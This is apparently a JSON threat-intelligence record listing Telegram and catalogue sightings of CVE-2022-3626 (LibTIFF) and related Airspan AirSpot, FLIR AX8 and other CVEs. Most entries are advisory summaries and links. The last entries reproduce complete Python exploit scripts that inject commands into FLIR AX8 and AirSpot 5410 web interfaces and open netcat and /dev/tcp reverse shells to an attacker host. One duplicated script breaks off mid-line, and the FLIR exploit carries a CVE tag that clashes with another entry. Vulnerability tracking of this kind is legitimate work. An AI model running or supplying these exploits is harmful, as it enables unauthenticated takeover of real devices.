{"vulnerability": "cve-2022-3626", "sightings": [{"uuid": "cf1f3d1e-de22-492e-9cd3-72f9e2ac96c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:01.000000Z"}, {"uuid": "5a9c6476-4292-49b9-8e68-1cff16e00169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/hackingbra/63", "content": "#exploit\n1. CVE-2023-40713:\nExploiting GOG Galaxy XPC service for privilege escalation in macOS\nhttps://securityintelligence.com/x-force/exploiting-gog-galaxy-xpc-service-privilege-escalation-macos\n\n2. CVE-2023-6560:\nio_uring_io_uaddr_map() Dangerous Multi-Page Handling\nhttps://packetstormsecurity.com/files/176405/io_uring-__io_uaddr_map-Dangerous-Multi-Page-Handling.html\n\n3. CVE-2022-36267:\nAirspan AirSpot 5410 - Unauth Remote CI\nhttps://github.com/0xNslabs/CVE-2022-36267-PoC", "creation_timestamp": "2024-01-10T03:34:04.000000Z"}, {"uuid": "60691e6f-fc16-4142-b59b-8c333daa7935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3626", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15316", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-3626\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: LibTIFF 4.4.0 has an out-of-bounds write in _TIFFmemset in libtiff/tif_unix.c:340 when called from processCropSelections, tools/tiffcrop.c:7619, allowing attackers to cause a denial-of-service via a crafted tiff file. For users that compile libtiff from sources, the fix is available with commit 236b7191.\n\ud83d\udccf Published: 2022-10-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-07T15:07:46.052Z\n\ud83d\udd17 References:\n1. https://gitlab.com/libtiff/libtiff/-/issues/426\n2. https://gitlab.com/libtiff/libtiff/-/commit/236b7191f04c60d09ee836ae13b50f812c841047\n3. https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-3626.json\n4. https://security.netapp.com/advisory/ntap-20230110-0001/\n5. https://lists.debian.org/debian-lts-announce/2023/01/msg00018.html", "creation_timestamp": "2025-05-07T15:22:29.000000Z"}, {"uuid": "c05408d6-30fb-43e8-8e97-3deaa1c9de1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/arpsyndicate/2754", "content": "#ExploitObserverAlert\n\nCVE-2022-36267\n\nDESCRIPTION: Exploit Observer has 6 entries related to CVE-2022-36267. In Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists a Unauthenticated remote command injection vulnerability. The ping functionality can be called without user authentication when crafting a malicious http request by injecting code in one of the parameters allowing for remote code execution. This vulnerability is exploited via the binary file /home/www/cgi-bin/diagnostics.cgi that accepts unauthenticated requests and unsanitized data. As a result, a malicious actor can craft a specific request and interact remotely with the device.\n\nFIRST-EPSS: 0.694210000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-09T14:34:03.000000Z"}, {"uuid": "1f3d0d5c-04cf-41c8-bb81-a009a8de7ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/JerusalemElectronicArmy/179", "content": "#\u0627\u062e\u0628\u0627\u0631_\u0633\u0627\u064a\u0628\u0631 \n\u062a\u0642\u0631\u064a\u0631 \u064a\u062a\u062d\u062f\u062b \u0639\u0646 \u0647\u062c\u0645\u0627\u062a \u062a\u0633\u0645\u0649 Mirai Botnet  \u0644\u0627\u0633\u062a\u0647\u062f\u0627\u0641 \u0623\u062c\u0647\u0632\u0629 Linux \u0648\u0625\u0646\u062a\u0631\u0646\u062a \u0627\u0644\u0623\u0634\u064a\u0627\u0621\n\u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629:\n\n    CVE-2012-4869: FreePBX Elastix Remote Command Execution Vulnerability\n    Gitorious Remote Command Execution Vulnerability\n    CVE-2014-9727: FRITZ!Box Webcam Remote Command Execution Vulnerability\n    Mitel AWC Remote Command Execution Vulnerability\n    CVE-2017-5173: Geutebruck IP Cameras Remote Command Execution Vulnerability\n    CVE-2019-15107: Webmin Command Injection Vulnerability\n    Spree Commerce Arbitrary Command Execution Vulnerability\n    FLIR Thermal Camera Remote Command Execution Vulnerability\n    CVE-2020-8515: DrayTek Vigor Remote Command Execution Vulnerability\n    CVE-2020-15415: DrayTek Vigor Remote Command Injection Vulnerability\n    CVE-2022-36267: Airspan AirSpot Remote Command Execution Vulnerability\n    CVE-2022-26134: Atlassian Confluence Remote Code Execution Vulnerability\n    CVE-2022-4257: C-Data Web Management System Command Injection Vulnerability\n\nhttps://unit42.paloaltonetworks.com/mirai-variant-v3g4/", "creation_timestamp": "2023-02-19T12:43:33.000000Z"}, {"uuid": "9d98db47-3eb1-4125-aff8-7b3ff56e237a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36264", "type": "seen", "source": "https://t.me/cibsecurity/47749", "content": "\u203c CVE-2022-36264 \u203c\n\nIn Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists an Unauthenticated remote Arbitrary File Upload vulnerability which allows overwriting arbitrary files. A malicious actor can remotely upload a file of their choice and overwrite any file in the system by manipulating the filename and append a relative path that will be interpreted during the upload process. Using this method, it is possible to rewrite any file in the system or upload a new file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-08T18:24:07.000000Z"}, {"uuid": "b16ba3a8-1b52-4376-838e-3b5bde76356c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3626", "type": "seen", "source": "https://t.me/cibsecurity/51927", "content": "\u203c CVE-2022-3626 \u203c\n\nLibTIFF 4.4.0 has an out-of-bounds write in _TIFFmemset in libtiff/tif_unix.c:340 when called from processCropSelections, tools/tiffcrop.c:7619, allowing attackers to cause a denial-of-service via a crafted tiff file. For users that compile libtiff from sources, the fix is available with commit 236b7191.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-10-21T20:22:45.000000Z"}, {"uuid": "c09552c3-d3d6-4ad9-8b33-5594ff80880f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/cibsecurity/47741", "content": "\u203c CVE-2022-36267 \u203c\n\nIn Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists a Unauthenticated remote command injection vulnerability. The ping functionality can be called without user authentication when crafting a malicious http request by injecting code in one of the parameters allowing for remote code execution. This vulnerability is exploited via the binary file /home/www/cgi-bin/diagnostics.cgi that accepts unauthenticated requests and unsanitized data. As a result, a malicious actor can craft a specific request and interact remotely with the device.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-08T18:23:55.000000Z"}, {"uuid": "713c9063-feef-454e-90f9-044335bdd099", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36263", "type": "seen", "source": "https://t.me/cibsecurity/48442", "content": "\u203c CVE-2022-36263 \u203c\n\nStreamLabs Desktop Application 1.9.0 is vulnerable to Incorrect Access Control via obs64.exe. An attacker can execute arbitrary code via a crafted .exe file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-19T18:17:27.000000Z"}, {"uuid": "00c24bde-e048-4887-b26c-b7df59455542", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36262", "type": "seen", "source": "https://t.me/cibsecurity/48158", "content": "\u203c CVE-2022-36262 \u203c\n\nAn issue was discovered in taocms 3.0.2. in the website settings that allows arbitrary php code to be injected by modifying config.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-15T16:37:54.000000Z"}, {"uuid": "cb34b7ef-6cd0-40d8-8cbf-4c510198d2d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36266", "type": "seen", "source": "https://t.me/cibsecurity/47731", "content": "\u203c CVE-2022-36266 \u203c\n\nIn Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists a stored XSS vulnerability. As the binary file /home/www/cgi-bin/login.cgi does not check if the user is authenticated, a malicious actor can craft a specific request on the login.cgi endpoint that contains a base32 encoded XSS payload that will be accepted and stored. A successful attack will results in the injection of malicious scripts into the user settings page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-08T18:23:41.000000Z"}, {"uuid": "c1101ea2-6fa5-4f6f-928a-061c8c953323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9759", "content": "#exploit\n1. CVE-2023-40713:\nExploiting GOG Galaxy XPC service for privilege escalation in macOS\nhttps://securityintelligence.com/x-force/exploiting-gog-galaxy-xpc-service-privilege-escalation-macos\n\n2. CVE-2023-6560:\nio_uring_io_uaddr_map() Dangerous Multi-Page Handling\nhttps://packetstormsecurity.com/files/176405/io_uring-__io_uaddr_map-Dangerous-Multi-Page-Handling.html\n\n3. CVE-2022-36267:\nAirspan AirSpot 5410 - Unauth Remote CI\nhttps://github.com/0xNslabs/CVE-2022-36267-PoC", "creation_timestamp": "2024-01-10T10:59:58.000000Z"}, {"uuid": "7da789aa-ec8b-4a51-9527-bfa82c563969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36264", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10122", "content": "#exploit\n1. CVE-2023-36049:\nMicrosoft .NET CRLF Injection Arbitrary File Write/Deletion\nhttps://www.zerodayinitiative.com/blog/2024/3/6/cve-2023-36049-microsoft-net-crlf-injection-arbitrary-file-writedeletion-vulnerability\n\n2. CVE-2022-36266, CVE-2022-36267, CVE-2022-36264, CVE-2022-36265:\nAirspan AirSpot 5410 Vulnerabilities\nhttps://neroteam.com/blog/airspan-airspot-5410-vulnerability-report", "creation_timestamp": "2024-03-11T07:14:50.000000Z"}, {"uuid": "9854f1be-ea9e-4125-9547-ab9dddc997ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36266", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10122", "content": "#exploit\n1. CVE-2023-36049:\nMicrosoft .NET CRLF Injection Arbitrary File Write/Deletion\nhttps://www.zerodayinitiative.com/blog/2024/3/6/cve-2023-36049-microsoft-net-crlf-injection-arbitrary-file-writedeletion-vulnerability\n\n2. CVE-2022-36266, CVE-2022-36267, CVE-2022-36264, CVE-2022-36265:\nAirspan AirSpot 5410 Vulnerabilities\nhttps://neroteam.com/blog/airspan-airspot-5410-vulnerability-report", "creation_timestamp": "2024-03-11T07:14:50.000000Z"}, {"uuid": "6505c372-ab05-41f6-884a-1d573b17c870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36265", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10122", "content": "#exploit\n1. CVE-2023-36049:\nMicrosoft .NET CRLF Injection Arbitrary File Write/Deletion\nhttps://www.zerodayinitiative.com/blog/2024/3/6/cve-2023-36049-microsoft-net-crlf-injection-arbitrary-file-writedeletion-vulnerability\n\n2. CVE-2022-36266, CVE-2022-36267, CVE-2022-36264, CVE-2022-36265:\nAirspan AirSpot 5410 Vulnerabilities\nhttps://neroteam.com/blog/airspan-airspot-5410-vulnerability-report", "creation_timestamp": "2024-03-11T07:14:50.000000Z"}, {"uuid": "b41943dc-6b96-4526-9594-0d147a4e8baf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10122", "content": "#exploit\n1. CVE-2023-36049:\nMicrosoft .NET CRLF Injection Arbitrary File Write/Deletion\nhttps://www.zerodayinitiative.com/blog/2024/3/6/cve-2023-36049-microsoft-net-crlf-injection-arbitrary-file-writedeletion-vulnerability\n\n2. CVE-2022-36266, CVE-2022-36267, CVE-2022-36264, CVE-2022-36265:\nAirspan AirSpot 5410 Vulnerabilities\nhttps://neroteam.com/blog/airspan-airspot-5410-vulnerability-report", "creation_timestamp": "2024-03-11T07:14:50.000000Z"}, {"uuid": "663bf77f-59b2-464a-adda-7c85b112b123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/Rootsec_2/2468", "content": "#exploit\n1. CVE-2023-40713:\nExploiting GOG Galaxy XPC service for privilege escalation in macOS\nhttps://securityintelligence.com/x-force/exploiting-gog-galaxy-xpc-service-privilege-escalation-macos\n\n2. CVE-2023-6560:\nio_uring_io_uaddr_map() Dangerous Multi-Page Handling\nhttps://packetstormsecurity.com/files/176405/io_uring-__io_uaddr_map-Dangerous-Multi-Page-Handling.html\n\n3. CVE-2022-36267:\nAirspan AirSpot 5410 - Unauth Remote CI\nhttps://github.com/0xNslabs/CVE-2022-36267-PoC", "creation_timestamp": "2024-08-16T09:01:20.000000Z"}, {"uuid": "eb70d884-309c-48c6-bd20-032a7d2ade31", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/685b784c-f7bb-4c51-bc6d-825ac66436ca", "content": "", "creation_timestamp": "2026-06-23T14:06:15.053718Z"}, {"uuid": "5df11357-9b68-4576-807b-720f9be1b537", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-36267", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/52134ace-e66d-493f-80a9-fcdb386480ce", "content": "", "creation_timestamp": "2026-06-30T12:19:14.492465Z"}, {"uuid": "f8688ca5-0379-4b9f-9b89-5a2bdfca1e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36266", "type": "seen", "source": "https://t.me/hacking_Attack/66025", "content": "Exploit Collector\nFLIX AX8 1.46.16 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png FLIR AX8 versions 1.46.16 and below unauthenticated remote OS command injection exploit.\n\nSHA-256 | c15429c7636538e3c66b41a8e08cead26806777a1c4d976fe977decddd2d2157Download # -*- coding: utf-8 -*-\n\n# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection\n# Date: 8/19/2022\n# Exploit Author: Samy Younsi Naqwada (https://samy.link)\n# Vendor Homepage: https://www.flir.com/\n# Software Link: https://www.flir.com/products/ax8-automation/\n# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok\n# Version: 1.46.16 and under.\n# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)\n# CVE : CVE-2022-36266\n\nfrom __future__ import print_function, unicode_literals\nfrom bs4 import BeautifulSoup\nimport argparse\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nflirLogo = \"\"\" \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557     \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \n\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\n\u2588\u2588\u2554\u2550\u2550\u255d  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2551     \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551 \n\u255a\u2550\u255d     \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\n.---------------------. \n\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557  /--'--.------.--------/| \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u255a\u2588\u2588\u2557\u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |Say :) |__Ll__| [==] || \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2554\u255d \u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |cheese!| .--. | '''' || \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551 \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |       |( () )|      || \n\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2554\u255d \u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |       | `--` |      |/ \n\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u255d  `-------`------`------` \n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m \n\\033[1;91mFLIR AX8 Unauthenticated OS Command Injection\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(flirLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'http://{}:{}/login/'.format(RHOST, RPORT)\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=60)\ntry:\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nsoup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')\nversion = soup.find('p', id = 'login-title').string\nprint('[INFO] {} detected.'.format(version))\nexcept:\nprint('[ERROR] Can\\'t grab the device version...')\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\nurl = 'http://{}:{}/res.php'.format(RHOST, RPORT)\npayload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)\ndata = 'action=alarm&id=2;{}'.format(payload)\n\nheaders = {\n'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n}\n\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)\nprint('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)\nreturn False\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (FLIR AX8 device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine.\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain() Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:25.908906Z"}, {"uuid": "5b9df576-ef8a-4514-a1ac-9bcd53c0b0f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:26.430782Z"}, {"uuid": "04955477-534a-4d4a-be8c-764d5be03b80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, 